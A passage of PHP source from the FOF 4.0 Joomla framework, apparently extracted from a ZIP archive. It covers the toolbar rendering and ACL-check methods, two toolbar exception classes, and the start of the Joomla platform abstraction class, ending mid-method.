$this->renderFromConfig($toolbarConfig); return; } // Check for an onViewTask method $methodName = 'on' . ucfirst($view) . ucfirst($task); if (method_exists($this, $methodName)) { $this->$methodName(); return; } // Check for an onView method $methodName = 'on' . ucfirst($view); if (method_exists($this, $methodName)) { $this->$methodName(); return; } // Check for an onTask method $methodName = 'on' . ucfirst($task); if (method_exists($this, $methodName)) { $this->$methodName(); return; } } /** * Renders the toolbar for the component's Control Panel page * * @return void */ public function onCpanelsBrowse(): void { if ($this->container->platform->isBackend() || $this->renderFrontendSubmenu) { $this->renderSubmenu(); } if (!$this->container->platform->isBackend() && !$this->renderFrontendButtons) { return; } $option = $this->container->componentName; JoomlaToolbarHelper::title(Text::_(strtoupper($option)), str_replace('com_', '', $option)); if (!$this->isDataView()) { return; } JoomlaToolbarHelper::preferences($option); } /** * Renders the toolbar for the component's Browse pages (the plural views) * * @return void */ public function onBrowse(): void { // On frontend, buttons must be added specifically if ($this->container->platform->isBackend() || $this->renderFrontendSubmenu) { $this->renderSubmenu(); } if (!$this->container->platform->isBackend() && !$this->renderFrontendButtons) { return; } // Setup $option = $this->container->componentName; $view = $this->container->input->getCmd('view', 'cpanel'); // Set toolbar title $subtitle_key = strtoupper($option . '_TITLE_' . $view); JoomlaToolbarHelper::title(Text::_(strtoupper($option)) . ': ' . Text::_($subtitle_key), str_replace('com_', '', $option)); if (!$this->isDataView()) { return; } // Add toolbar buttons if ($this->perms->create) { JoomlaToolbarHelper::addNew(); } if ($this->perms->edit) { JoomlaToolbarHelper::editList(); } if ($this->perms->create || $this->perms->edit) { JoomlaToolbarHelper::divider(); } // Published buttons are only added if there is a enabled field in the table try { $model = $this->container->factory->model($view); if ($model->hasField('enabled') && $this->perms->editstate) { JoomlaToolbarHelper::publishList(); JoomlaToolbarHelper::unpublishList(); JoomlaToolbarHelper::divider(); } } catch (\Exception $e) { // Yeah. Let's not add the buttons if we can't load the model... } if ($this->perms->delete) { $msg = Text::_($option . '_CONFIRM_DELETE'); JoomlaToolbarHelper::deleteList(strtoupper($msg)); } // A Check-In button is only added if there is a locked_on field in the table try { $model = $this->container->factory->model($view); if ($model->hasField('locked_on') && $this->perms->edit) { JoomlaToolbarHelper::checkin(); } } catch (\Exception $e) { // Yeah. Let's not add the button if we can't load the model... } } /** * Renders the toolbar for the component's Read pages * * @return void */ public function onRead(): void { // On frontend, buttons must be added specifically if ($this->container->platform->isBackend() || $this->renderFrontendSubmenu) { $this->renderSubmenu(); } if (!$this->container->platform->isBackend() && !$this->renderFrontendButtons) { return; } $option = $this->container->componentName; $componentName = str_replace('com_', '', $option); $view = $this->container->input->getCmd('view', 'cpanel'); // Set toolbar title $subtitle_key = strtoupper($option . '_TITLE_' . $view . '_READ'); JoomlaToolbarHelper::title(Text::_(strtoupper($option)) . ': ' . Text::_($subtitle_key), $componentName); if (!$this->isDataView()) { return; } // Set toolbar icons JoomlaToolbarHelper::back(); } /** * Renders the toolbar for the component's Add pages * * @return void */ public function onAdd(): void { // On frontend, buttons must be added specifically if (!$this->container->platform->isBackend() && !$this->renderFrontendButtons) { return; } $option = $this->container->componentName; $componentName = str_replace('com_', '', $option); $view = $this->container->input->getCmd('view', 'cpanel'); // Set toolbar title $subtitle_key = strtoupper($option . '_TITLE_' . $this->container->inflector->pluralize($view)) . '_EDIT'; JoomlaToolbarHelper::title(Text::_(strtoupper($option)) . ': ' . Text::_($subtitle_key), $componentName); if (!$this->isDataView()) { return; } // Set toolbar icons if ($this->perms->edit || $this->perms->editown) { // Show the apply button only if I can edit the record, otherwise I'll return to the edit form and get a // 403 error since I can't do that JoomlaToolbarHelper::apply(); } JoomlaToolbarHelper::save(); if ($this->perms->create) { JoomlaToolbarHelper::custom('savenew', 'save-new.png', 'save-new_f2.png', 'JTOOLBAR_SAVE_AND_NEW', false); } JoomlaToolbarHelper::cancel(); } /** * Renders the toolbar for the component's Edit pages * * @return void */ public function onEdit(): void { // On frontend, buttons must be added specifically if (!$this->container->platform->isBackend() && !$this->renderFrontendButtons) { return; } $this->onAdd(); } /** * Removes all links from the link bar * * @return void */ public function clearLinks(): void { $this->linkbar = []; } /** * Get the link bar's link definitions * * @return array */ public function &getLinks(): array { return $this->linkbar; } /** * Append a link to the link bar * * @param string $name The text of the link * @param string|null $link The link to render; set to null to render a separator * @param boolean $active True if it's an active link * @param string|null $icon Icon class (used by some renderers, like the Bootstrap renderer) * @param string|null $parent The parent element (referenced by name)) This will create a dropdown list * * @return void */ public function appendLink(string $name, ?string $link = null, bool $active = false, ?string $icon = null, ?string $parent = ''): void { $linkDefinition = [ 'name' => $name, 'link' => $link, 'active' => $active, 'icon' => $icon, ]; if (empty($parent)) { if (array_key_exists($name, $this->linkbar)) { $this->linkbar[$name] = array_merge($this->linkbar[$name], $linkDefinition); // If there already are some children, I have to put this view link in the "items" array in the first place if (array_key_exists('items', $this->linkbar[$name])) { array_unshift($this->linkbar[$name]['items'], $linkDefinition); } } else { $this->linkbar[$name] = $linkDefinition; } } else { if (!array_key_exists($parent, $this->linkbar)) { $parentElement = $linkDefinition; $parentElement['name'] = $parent; $parentElement['link'] = null; $this->linkbar[$parent] = $parentElement; $parentElement['items'] = []; } else { $parentElement = $this->linkbar[$parent]; if (!array_key_exists('dropdown', $parentElement) && !empty($parentElement['link'])) { $newSubElement = $parentElement; $parentElement['items'] = [$newSubElement]; } } $parentElement['items'][] = $linkDefinition; $parentElement['dropdown'] = true; if ($active) { $parentElement['active'] = true; } $this->linkbar[$parent] = $parentElement; } } /** * Prefixes (some people erroneously call this "prepend" – there is no such word) a link to the link bar * * @param string $name The text of the link * @param string|null $link The link to render; set to null to render a separator * @param boolean $active True if it's an active link * @param string|null $icon Icon class (used by some renderers, like the Bootstrap renderer) * * @return void */ public function prefixLink(string $name, ?string $link = null, bool $active = false, ?string $icon = null): void { $linkDefinition = [ 'name' => $name, 'link' => $link, 'active' => $active, 'icon' => $icon, ]; array_unshift($this->linkbar, $linkDefinition); } /** * Renders the submenu (toolbar links) for all detected views of this component * * @return void */ public function renderSubmenu(): void { $views = $this->getMyViews(); if (empty($views)) { return; } $activeView = $this->container->input->getCmd('view', 'cpanel'); foreach ($views as $view) { // Get the view name $key = strtoupper($this->container->componentName) . '_TITLE_' . strtoupper($view); //Do we have a translation for this key? if (strtoupper(Text::_($key)) === $key) { $altview = $this->container->inflector->isPlural($view) ? $this->container->inflector->singularize($view) : $this->container->inflector->pluralize($view); $key2 = strtoupper($this->container->componentName) . '_TITLE_' . strtoupper($altview); $name = strtoupper(Text::_($key2)) === $key2 ? ucfirst($view) : Text::_($key2); } else { $name = Text::_($key); } $link = 'index.php?option=' . $this->container->componentName . '&view=' . $view; $active = $view === $activeView; $this->appendLink($name, $link, $active); } } /** * Return the front-end toolbar rendering flag * * @return boolean */ public function getRenderFrontendButtons(): bool { return $this->renderFrontendButtons; } /** * @param boolean $renderFrontendButtons */ public function setRenderFrontendButtons(bool $renderFrontendButtons): void { $this->renderFrontendButtons = $renderFrontendButtons; } /** * Return the front-end submenu rendering flag * * @return boolean */ public function getRenderFrontendSubmenu(): bool { return $this->renderFrontendSubmenu; } /** * @param boolean $renderFrontendSubmenu */ public function setRenderFrontendSubmenu(bool $renderFrontendSubmenu): void { $this->renderFrontendSubmenu = $renderFrontendSubmenu; } /** * Is the view we are rendering the toolbar for a data-aware view? * * @return bool */ public function isDataView(): bool { if (is_null($this->isDataView)) { $this->isDataView = false; $controller = $this->container->dispatcher->getController(); $view = null; if (is_object($controller) && ($controller instanceof Controller)) { $view = $controller->getView(); } if (is_object($view) && ($view instanceof View)) { $this->isDataView = $view instanceof DataViewInterface; } } return $this->isDataView; } /** * Automatically detects all views of the component * * @return string[] A list of all views, in the order to be displayed in the toolbar submenu */ protected function getMyViews(): array { $t_views = []; $using_meta = false; $componentPaths = $this->container->platform->getComponentBaseDirs($this->container->componentName); $searchPath = $componentPaths['main'] . '/View'; $filesystem = $this->container->filesystem; $allFolders = $filesystem->folderFolders($searchPath); foreach ($allFolders as $folder) { $view = $folder; // View already added if (in_array($this->container->inflector->pluralize($view), $t_views)) { continue; } // Do we have a 'skip.xml' file in there? $files = $filesystem->folderFiles($searchPath . '/' . $view, '^skip\.xml$'); if (!empty($files)) { continue; } // Do we have extra information about this view? (ie. ordering) $meta = $filesystem->folderFiles($searchPath . '/' . $view, '^metadata\.xml$'); // Not found, do we have it inside the plural one? if (!$meta) { $plural = $this->container->inflector->pluralize($view); if (in_array($plural, $allFolders)) { $view = $plural; $meta = $filesystem->folderFiles($searchPath . '/' . $view, '^metadata\.xml$'); } } if (!empty($meta)) { $using_meta = true; $xml = simplexml_load_file($searchPath . '/' . $view . '/' . $meta[0]); $order = (int) $xml->foflib->ordering; } else { // Next place. It's ok since the index are 0-based and count is 1-based if (!isset($to_order)) { $to_order = []; } $order = count($to_order); } $view = $this->container->inflector->pluralize($view); $t_view = new \stdClass; $t_view->ordering = $order; $t_view->view = $view; $to_order[] = $t_view; $t_views[] = $view; } $views = []; if (!empty($to_order)) { if (class_exists('JArrayHelper')) { \JArrayHelper::sortObjects($to_order, 'ordering'); $views = \JArrayHelper::getColumn($to_order, 'view'); } else { ArrayHelper::sortObjects($to_order, 'ordering'); $views = ArrayHelper::getColumn($to_order, 'view'); } } // If not using the metadata file, let's put the cpanel view on top if (!$using_meta) { $cpanel = array_search('cpanels', $views); if ($cpanel !== false) { unset($views[$cpanel]); array_unshift($views, 'cpanels'); } } return $views; } /** * Simplified default rendering without any attributes. * * @param array $tasks Array of tasks. * * @return void */ protected function renderToolbarElements(array $tasks): void { foreach ($tasks as $task) { $this->renderToolbarElement($task); } } /** * Checks if the current user has enough privileges for the requested ACL privilege of a custom toolbar button. * * @param string $area The ACL privilege as set up in the $this->perms object * * @return boolean True if the user has the ACL privilege specified */ protected function checkACL(string $area): bool { if (is_bool($area)) { return $area; } if (in_array(strtolower($area), ['false', '0', 'no', '403'])) { return false; } if (in_array(strtolower($area), ['true', '1', 'yes'])) { return true; } if (strtolower($area) == 'guest') { return $this->container->platform->getUser()->guest; } if (strtolower($area) == 'user') { return !$this->container->platform->getUser()->guest; } if (empty($area)) { return true; } if (isset($this->perms->$area)) { return $this->perms->$area; } return false; } /** * Render the toolbar from the configuration. * * @param array $toolbar The toolbar definition * * @return void */ private function renderFromConfig(array $toolbar): void { $isBackend = $this->container->platform->isBackend(); if ($isBackend || $this->renderFrontendSubmenu) { $this->renderSubmenu(); } if (!$isBackend && !$this->renderFrontendButtons) { return; } if (!$this->isDataView()) { return; } // Render each element foreach ($toolbar as $elementType => $elementAttributes) { $value = isset($elementAttributes['value']) ? (string) ($elementAttributes['value']) : null; $this->renderToolbarElement($elementType, $value, $elementAttributes); } } /** * Render a toolbar element. * * @param string $type The element type. * @param ?string $value The title translation string for a 'title' element. * @param array $attributes The element attributes. * * @return void * * @codeCoverageIgnore * @throws \InvalidArgumentException */ private function renderToolbarElement(string $type, $value = null, array $attributes = []): void { switch ($type) { case 'title': $icon = $attributes['icon'] ?? 'generic.png'; if (isset($attributes['translate'])) { $value = Text::_($value); } JoomlaToolbarHelper::title($value, $icon); break; case 'divider': JoomlaToolbarHelper::divider(); break; case 'custom': $task = $attributes['task'] ?? ''; $icon = $attributes['icon'] ?? ''; $iconOver = $attributes['icon_over'] ?? ''; $alt = $attributes['alt'] ?? ''; $listSelect = isset($attributes['list_select']) ? fofStringToBool($attributes['list_select']) : true; JoomlaToolbarHelper::custom($task, $icon, $iconOver, $alt, $listSelect); break; case 'preview': $url = $attributes['url'] ?? ''; $update_editors = fofStringToBool($attributes['update_editors'] ?? 'false'); JoomlaToolbarHelper::preview($url, $update_editors); break; case 'help': if (!isset($attributes['help'])) { throw new MissingAttribute('help', 'help'); } $ref = $attributes['help']; $com = fofStringToBool($attributes['com'] ?? 'false'); $override = $attributes['override'] ?? null; $component = $attributes['component'] ?? null; JoomlaToolbarHelper::help($ref, $com, $override, $component); break; case 'back': $alt = $attributes['alt'] ?? 'JTOOLBAR_BACK'; $href = $attributes['href'] ?? 'javascript:history.back();'; JoomlaToolbarHelper::back($alt, $href); break; case 'media_manager': $directory = $attributes['directory'] ?? ''; $alt = $attributes['alt'] ?? 'JTOOLBAR_UPLOAD'; JoomlaToolbarHelper::media_manager($directory, $alt); break; case 'assign': $task = $attributes['task'] ?? 'assign'; $alt = $attributes['alt'] ?? 'JTOOLBAR_ASSIGN'; JoomlaToolbarHelper::assign($task, $alt); break; case 'addNew': case 'new': $area = $attributes['acl'] ?? 'create'; if ($this->checkACL($area)) { $task = $attributes['task'] ?? 'add'; $alt = $attributes['alt'] ?? 'JTOOLBAR_NEW'; $check = fofStringToBool($attributes['check'] ?? 'false'); JoomlaToolbarHelper::addNew($task, $alt, $check); } break; case 'copy': $area = $attributes['acl'] ?? 'create'; if ($this->checkACL($area)) { $task = $attributes['task'] ?? 'copy'; $alt = $attributes['alt'] ?? 'JLIB_HTML_BATCH_COPY'; $icon = $attributes['icon'] ?? 'copy.png'; $iconOver = $attributes['iconOver'] ?? 'copy_f2.png'; JoomlaToolbarHelper::custom($task, $icon, $iconOver, $alt, false); } break; case 'publish': $area = $attributes['acl'] ?? 'editstate'; if ($this->checkACL($area)) { $task = $attributes['task'] ?? 'publish'; $alt = $attributes['alt'] ?? 'JTOOLBAR_PUBLISH'; $check = fofStringToBool($attributes['check'] ?? 'false'); JoomlaToolbarHelper::publish($task, $alt, $check); } break; case 'publishList': $area = $attributes['acl'] ?? 'editstate'; if ($this->checkACL($area)) { $task = $attributes['task'] ?? 'publish'; $alt = $attributes['alt'] ?? 'JTOOLBAR_PUBLISH'; JoomlaToolbarHelper::publishList($task, $alt); } break; case 'unpublish': $area = $attributes['acl'] ?? 'editstate'; if ($this->checkACL($area)) { $task = $attributes['task'] ?? 'unpublish'; $alt = $attributes['alt'] ?? 'JTOOLBAR_UNPUBLISH'; $check = fofStringToBool($attributes['check'] ?? 'false'); JoomlaToolbarHelper::unpublish($task, $alt, $check); } break; case 'unpublishList': $area = $attributes['acl'] ?? 'editstate'; if ($this->checkACL($area)) { $task = $attributes['task'] ?? 'unpublish'; $alt = $attributes['alt'] ?? 'JTOOLBAR_UNPUBLISH'; JoomlaToolbarHelper::unpublishList($task, $alt); } break; case 'archiveList': $area = $attributes['acl'] ?? 'editstate'; if ($this->checkACL($area)) { $task = $attributes['task'] ?? 'archive'; $alt = $attributes['alt'] ?? 'JTOOLBAR_ARCHIVE'; JoomlaToolbarHelper::archiveList($task, $alt); } break; case 'unarchiveList': $area = $attributes['acl'] ?? 'editstate'; if ($this->checkACL($area)) { $task = $attributes['task'] ?? 'unarchive'; $alt = $attributes['alt'] ?? 'JTOOLBAR_UNARCHIVE'; JoomlaToolbarHelper::unarchiveList($task, $alt); } break; case 'edit': case 'editList': $area = $attributes['acl'] ?? 'edit'; if ($this->checkACL($area)) { $task = $attributes['task'] ?? 'edit'; $alt = $attributes['alt'] ?? 'JTOOLBAR_EDIT'; JoomlaToolbarHelper::editList($task, $alt); } break; case 'editHtml': $task = $attributes['task'] ?? 'edit_source'; $alt = $attributes['alt'] ?? 'JTOOLBAR_EDIT_HTML'; JoomlaToolbarHelper::editHtml($task, $alt); break; case 'editCss': $task = $attributes['task'] ?? 'edit_css'; $alt = $attributes['alt'] ?? 'JTOOLBAR_EDIT_CSS'; JoomlaToolbarHelper::editCss($task, $alt); break; case 'deleteList': case 'delete': $area = $attributes['acl'] ?? 'delete'; if ($this->checkACL($area)) { $msg = $attributes['msg'] ?? ''; $task = $attributes['task'] ?? 'remove'; $alt = $attributes['alt'] ?? 'JTOOLBAR_DELETE'; JoomlaToolbarHelper::deleteList($msg, $task, $alt); } break; case 'trash': $area = $attributes['acl'] ?? 'editstate'; if ($this->checkACL($area)) { $task = $attributes['task'] ?? 'trash'; $alt = $attributes['alt'] ?? 'JTOOLBAR_TRASH'; $check = isset($attributes['check']) ? fofStringToBool($attributes['check']) : true; JoomlaToolbarHelper::trash($task, $alt, $check); } break; case 'apply': $task = $attributes['task'] ?? 'apply'; $alt = $attributes['alt'] ?? 'JTOOLBAR_APPLY'; JoomlaToolbarHelper::apply($task, $alt); break; case 'save': $task = $attributes['task'] ?? 'save'; $alt = $attributes['alt'] ?? 'JTOOLBAR_SAVE'; JoomlaToolbarHelper::save($task, $alt); break; case 'savenew': $task = $attributes['task'] ?? 'savenew'; $alt = $attributes['alt'] ?? 'JTOOLBAR_SAVE_AND_NEW'; $icon = $attributes['icon'] ?? 'save-new.png'; $iconOver = $attributes['iconOver'] ?? 'save-new_f2.png'; JoomlaToolbarHelper::custom($task, $icon, $iconOver, $alt, false); break; case 'save2new': $task = $attributes['task'] ?? 'save2new'; $alt = $attributes['alt'] ?? 'JTOOLBAR_SAVE_AND_NEW'; JoomlaToolbarHelper::save2new($task, $alt); break; case 'save2copy': $task = $attributes['task'] ?? 'save2copy'; $alt = $attributes['alt'] ?? 'JTOOLBAR_SAVE_AS_COPY'; JoomlaToolbarHelper::save2copy($task, $alt); break; case 'checkin': $task = $attributes['task'] ?? 'checkin'; $alt = $attributes['alt'] ?? 'JTOOLBAR_CHECKIN'; $check = isset($attributes['check']) ? fofStringToBool($attributes['check']) : true; JoomlaToolbarHelper::checkin($task, $alt, $check); break; case 'cancel': $task = $attributes['task'] ?? 'cancel'; $alt = $attributes['alt'] ?? 'JTOOLBAR_CANCEL'; JoomlaToolbarHelper::cancel($task, $alt); break; case 'preferences': if (!isset($attributes['component'])) { throw new MissingAttribute('component', 'preferences'); } $component = $attributes['component']; $height = $attributes['height'] ?? '550'; $width = $attributes['width'] ?? '875'; $alt = $attributes['alt'] ?? 'JToolbar_Options'; $path = $attributes['path'] ?? ''; JoomlaToolbarHelper::preferences($component, $height, $width, $alt, $path); break; default: throw new UnknownButtonType($type); } } } PK���\QeJii,fof40/Toolbar/Exception/MissingAttribute.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Toolbar\Exception; defined('_JEXEC') || die; use Exception; use Joomla\CMS\Language\Text; class MissingAttribute extends \InvalidArgumentException { public function __construct(string $missingArgument, string $buttonType, int $code = 500, Exception $previous = null) { $message = Text::sprintf('LIB_FOF40_TOOLBAR_ERR_MISSINGARGUMENT', $missingArgument, $buttonType); parent::__construct($message, $code, $previous); } } PK���\�YoAA-fof40/Toolbar/Exception/UnknownButtonType.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Toolbar\Exception; defined('_JEXEC') || die; use Exception; use Joomla\CMS\Language\Text; class UnknownButtonType extends \InvalidArgumentException { public function __construct(string $buttonType, int $code = 500, Exception $previous = null) { $message = Text::sprintf('LIB_FOF40_TOOLBAR_ERR_UNKNOWNBUTTONTYPE', $buttonType); parent::__construct($message, $code, $previous); } } PK���\�NS8�8�"fof40/Platform/Joomla/Platform.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Platform\Joomla; defined('_JEXEC') || die; use ActionlogsModelActionlog; use DateTime; use DateTimeZone; use Exception; use FOF40\Container\Container; use FOF40\Date\Date; use FOF40\Date\DateDecorator; use FOF40\Input\Input; use FOF40\Platform\Base\Platform as BasePlatform; use InvalidArgumentException; use JDatabaseDriver; use JEventDispatcher; use Joomla\CMS\Application\ApplicationHelper; use Joomla\CMS\Application\CliApplication; use Joomla\CMS\Application\CliApplication as JApplicationCli; use Joomla\CMS\Application\ConsoleApplication; use Joomla\CMS\Authentication\Authentication; use Joomla\CMS\Authentication\AuthenticationResponse; use Joomla\CMS\Cache\Cache; use Joomla\CMS\Document\Document; use Joomla\CMS\Document\HtmlDocument; use Joomla\CMS\Factory as JoomlaFactory; use Joomla\CMS\Language\Language; use Joomla\CMS\Log\Log; use Joomla\CMS\MVC\Model\BaseDatabaseModel; use Joomla\CMS\Plugin\PluginHelper; use Joomla\CMS\Session\Session; use Joomla\CMS\Uri\Uri; use Joomla\CMS\User\User; use Joomla\CMS\User\UserFactoryInterface; use Joomla\CMS\User\UserHelper; use Joomla\CMS\Version as JoomlaVersion; use Joomla\Event\Event; use Joomla\Registry\Registry; /** * Part of the FOF Platform Abstraction Layer. * * This implements the platform class for Joomla! 3 and Joomla! 4 * * @since 2.1 */ class Platform extends BasePlatform { /** * Is this a CLI application? * * @var bool */ protected static $isCLI; /** * Is this an administrator application? * * @var bool */ protected static $isAdmin; /** * Is this an API application? * * @var bool */ protected static $isApi; /** * A fake session storage for CLI apps. Since CLI applications cannot have a session we are using a Registry object * we manage internally. * * @var Registry */ protected static $fakeSession; /** * The table and table field cache object, used to speed up database access * * @var Registry|null */ private $_cache; /** * Public constructor. * * Overridden to cater for CLI applications not having access to a session object. * * @param Container $c The component container */ public function __construct(Container $c) { parent::__construct($c); if ($this->isCli()) { self::$fakeSession = new Registry(); } } /** * Checks if the current script is run inside a valid CMS execution * * @return bool */ public function checkExecution(): bool { return defined('_JEXEC'); } /** * Raises an error, using the logic requested by the CMS (PHP Exception or dedicated class) * * @param integer $code * @param string $message * * @return void * * @throws Exception * * @deprecated 5.0 Use showErrorPage with a real exception instead */ public function raiseError(int $code, string $message): void { $this->showErrorPage(new Exception($message, $code)); } /** * Returns absolute path to directories used by the containing CMS/application. * * The return is a table with the following key: * * root Path to the site root * * public Path to the public area of the site * * admin Path to the administrative area of the site * * api Path to the API application area of the site * * tmp Path to the temp directory * * log Path to the log directory * * @return array A hash array with keys root, public, admin, tmp and log. */ public function getPlatformBaseDirs(): array { return [ 'root' => JPATH_ROOT, 'public' => JPATH_SITE, 'media' => JPATH_SITE . '/media', 'admin' => JPATH_ADMINISTRATOR, 'api' => defined('JPATH_API') ? JPATH_API : (JPATH_ROOT . '/api'), 'tmp' => JoomlaFactory::getConfig()->get('tmp_path'), 'log' => JoomlaFactory::getConfig()->get('log_path'), ]; } /** * Returns the base (root) directories for a given component, i.e the application * which is running inside our main application (CMS, web app). * * The return is a table with the following keys: * * main The normal location of component files. For a back-end Joomla! * component this is the administrator/components/com_example * directory. * * alt The alternate location of component files. For a back-end * Joomla! component this is the front-end directory, e.g. * components/com_example * * site The location of the component files serving the public part of * the application. * * admin The location of the component files serving the administrative * part of the application. * * api The location of the component files serving the API part of the application * * All paths MUST be absolute. All paths MAY be the same if the * platform doesn't make a distinction between public and private parts, * or when the component does not provide both a public and private part. * All of the directories MUST be defined and non-empty. * * @param string $component The name of the component. For Joomla! this * is something like "com_example" * * @return array A hash array with keys main, alt, site and admin. */ public function getComponentBaseDirs(string $component): array { if (!$this->isBackend()) { $mainPath = JPATH_SITE . '/components/' . $component; $altPath = JPATH_ADMINISTRATOR . '/components/' . $component; } else { $mainPath = JPATH_ADMINISTRATOR . '/components/' . $component; $altPath = JPATH_SITE . '/components/' . $component; } return [ 'main' => $mainPath, 'alt' => $altPath, 'site' => JPATH_SITE . '/components/' . $component, 'admin' => JPATH_ADMINISTRATOR . '/components/' . $component, 'api' => (defined('JPATH_API') ? JPATH_API : (JPATH_ROOT . '/api')) . '/components/' . $component, ]; } /** * Returns the application's template name * * @param null|array $params An optional associative array of configuration settings * * @return string The template name. "system" is the fallback. */ public function getTemplate(?array $params = null): string { try { return JoomlaFactory::getApplication()->getTemplate($params ?? false); } catch (Exception $e) { return 'system'; } } /** * Get application-specific suffixes to use with template paths. This allows * you to look for view template overrides based on the application version. * * @return array A plain array of suffixes to try in template names */ public function getTemplateSuffixes(): array { $jversion = new JoomlaVersion; $versionParts = explode('.', $jversion->getShortVersion()); $majorVersion = array_shift($versionParts); return [ '.j' . str_replace('.', '', $jversion->getHelpVersion()), '.j' . $majorVersion, ]; } /** * Return the absolute path to the application's template overrides * directory for a specific component. We will use it to look for template * files instead of the regular component directories. If the application * does not have such a thing as template overrides return an empty string. * * @param string $component The name of the component for which to fetch the overrides * @param bool $absolute Should I return an absolute or relative path? * * @return string The path to the template overrides directory */ public function getTemplateOverridePath(string $component, bool $absolute = true): string { if (!$this->isCli()) { if ($absolute) { $path = JPATH_THEMES . '/'; } else { $path = $this->isBackend() ? 'administrator/templates/' : 'templates/'; } $directory = (substr($component, 0, 7) == 'media:/') ? ('media/' . substr($component, 7)) : ('html/' . $component); $path .= $this->getTemplate() . '/' . $directory; } else { $path = ''; } return $path; } /** * Load the translation files for a given component. * * @param string $component The name of the component, e.g. "com_example" * * @return void */ public function loadTranslations(string $component): void { $paths = $this->isBackend() ? [JPATH_ROOT, JPATH_ADMINISTRATOR] : [JPATH_ADMINISTRATOR, JPATH_ROOT]; $jlang = $this->getLanguage(); $jlang->load($component, $paths[0], 'en-GB', true); $jlang->load($component, $paths[0], null, true); $jlang->load($component, $paths[1], 'en-GB', true); $jlang->load($component, $paths[1], null, true); } /** * By default FOF will only use the Controller's onBefore* methods to * perform user authorisation. In some cases, like the Joomla! back-end, * you also need to perform component-wide user authorisation in the * Dispatcher. This method MUST implement this authorisation check. If you * do not need this in your platform, please always return true. * * @param string $component The name of the component. * * @return bool True to allow loading the component, false to halt loading */ public function authorizeAdmin(string $component): bool { if ($this->isBackend()) { // Master access check for the back-end, Joomla! 1.6 style. $user = $this->getUser(); if (!$user->authorise('core.manage', $component) && !$user->authorise('core.admin', $component) ) { return false; } } return true; } /** * Returns a user object. * * @param integer $id The user ID to load. Skip or use null to retrieve * the object for the currently logged in user. * * @return User The User object for the specified user */ public function getUser(?int $id = null): User { /** * If I'm in CLI I need load the User directly, otherwise JoomlaFactory will check the session (which doesn't exist * in CLI) */ if ($this->isCli()) { if ($id) { return User::getInstance($id) ?? new User(); } return new User(); } // Joomla 3 if (version_compare(JVERSION, '3.999.999', 'lt')) { return JoomlaFactory::getUser($id) ?? new User(); } // Joomla 4 if (is_null($id)) { return JoomlaFactory::getApplication()->getIdentity() ?? new User(); } return JoomlaFactory::getContainer()->get(UserFactoryInterface::class)->loadUserById($id) ?? new User(); } /** * Returns the Document object which handles this component's response. You * may also return null and FOF will a. try to figure out the output type by * examining the "format" input parameter (or fall back to "html") and b. * FOF will not attempt to load CSS and Javascript files (as it doesn't make * sense if there's no Document to handle them). * * @return Document|null */ public function getDocument(): ?Document { $document = null; if (!$this->isCli()) { try { $document = JoomlaFactory::getDocument(); } catch (Exception $exc) { $document = null; } } return $document; } /** * Returns an object to handle dates * * @param mixed $time The initial time * @param DateTimeZone|string|null $tzOffset The timezone offset * @param bool $locale Should I try to load a specific class for current language? * * @return Date object */ public function getDate(?string $time = 'now', $tzOffset = null, $locale = true): Date { $time = $time ?? $this->getDbo()->getNullDate() ?? 'now'; if (!is_string($time) && (!is_object($time) || !($time instanceof DateTime))) { throw new InvalidArgumentException(sprintf('%s::%s -- $time expects a string or a DateTime object', __CLASS__, __METHOD__)); } if ($locale) { // Work around a bug in Joomla! 3.7.0. if ($time == 'now') { $time = time(); } $coreObject = JoomlaFactory::getDate($time, $tzOffset); return new DateDecorator($coreObject); } else { return new Date($time, $tzOffset); } } /** * Return the Language instance of the CMS/application * * @return Language */ public function getLanguage(): Language { return JoomlaFactory::getLanguage(); } /** * Returns the database driver object of the CMS/application * * @return JDatabaseDriver */ public function getDbo(): JDatabaseDriver { return JoomlaFactory::getDbo(); } /** * This method will try retrieving a variable from the request (input) data. * If it doesn't exist it will be loaded from the user state, typically * stored in the session. If it doesn't exist there either, the $default * value will be used. If $setUserState is set to true, the retrieved * variable will be stored in the user session. * * @param string $key The user state key for the variable * @param string $request The request variable name for the variable * @param Input $input The Input object with the request (input) data * @param mixed $default The default value. Default: null * @param string $type The filter type for the variable data. Default: none (no filtering) * @param bool $setUserState Should I set the user state with the fetched value? * * @return mixed The value of the variable */ public function getUserStateFromRequest(string $key, string $request, Input $input, $default = null, string $type = 'none', bool $setUserState = true) { if ($this->isCli()) { $ret = $input->get($request, $default, $type); if ($ret === $default) { $input->set($request, $ret); } return $ret; } try { $app = JoomlaFactory::getApplication(); } catch (Exception $e) { $app = null; } $old_state = (!is_null($app) && method_exists($app, 'getUserState')) ? $app->getUserState($key, $default) : null; $cur_state = (!is_null($old_state)) ? $old_state : $default; $new_state = $input->get($request, null, $type); // Save the new value only if it was set in this request if ($setUserState) { if ($new_state !== null) { $app->setUserState($key, $new_state); } else { $new_state = $cur_state; } } elseif (is_null($new_state)) { $new_state = $cur_state; } return $new_state; } /** * Load plugins of a specific type. Obviously this seems to only be required * in the Joomla! CMS. * * @param string $type The type of the plugins to be loaded * * @return void * * @codeCoverageIgnore * @see PlatformInterface::importPlugin() * */ public function importPlugin(string $type): void { // Should I actually run the plugins? $runPlugins = $this->isAllowPluginsInCli() || !$this->isCli(); if ($runPlugins) { PluginHelper::importPlugin($type); } } /** * Execute plugins (system-level triggers) and fetch back an array with * their return values. * * @param string $event The event (trigger) name, e.g. onBeforeScratchMyEar * @param array $data A hash array of data sent to the plugins as part of the trigger * * @return array A simple array containing the results of the plugins triggered */ public function runPlugins(string $event, array $data = []): array { // Should I actually run the plugins? $runPlugins = $this->isAllowPluginsInCli() || !$this->isCli(); if ($runPlugins) { if (class_exists('JEventDispatcher')) { return JEventDispatcher::getInstance()->trigger($event, $data); } // If there's no JEventDispatcher try getting JApplication try { $app = JoomlaFactory::getApplication(); } catch (Exception $e) { // If I can't get JApplication I cannot run the plugins. return []; } // Joomla 3 and 4 have triggerEvent if (method_exists($app, 'triggerEvent')) { return $app->triggerEvent($event, $data); } // Joomla 5 (and possibly some 4.x versions) don't have triggerEvent. Go through the Events dispatcher. if (method_exists($app, 'getDispatcher') && class_exists('Joomla\Event\Event')) { try { 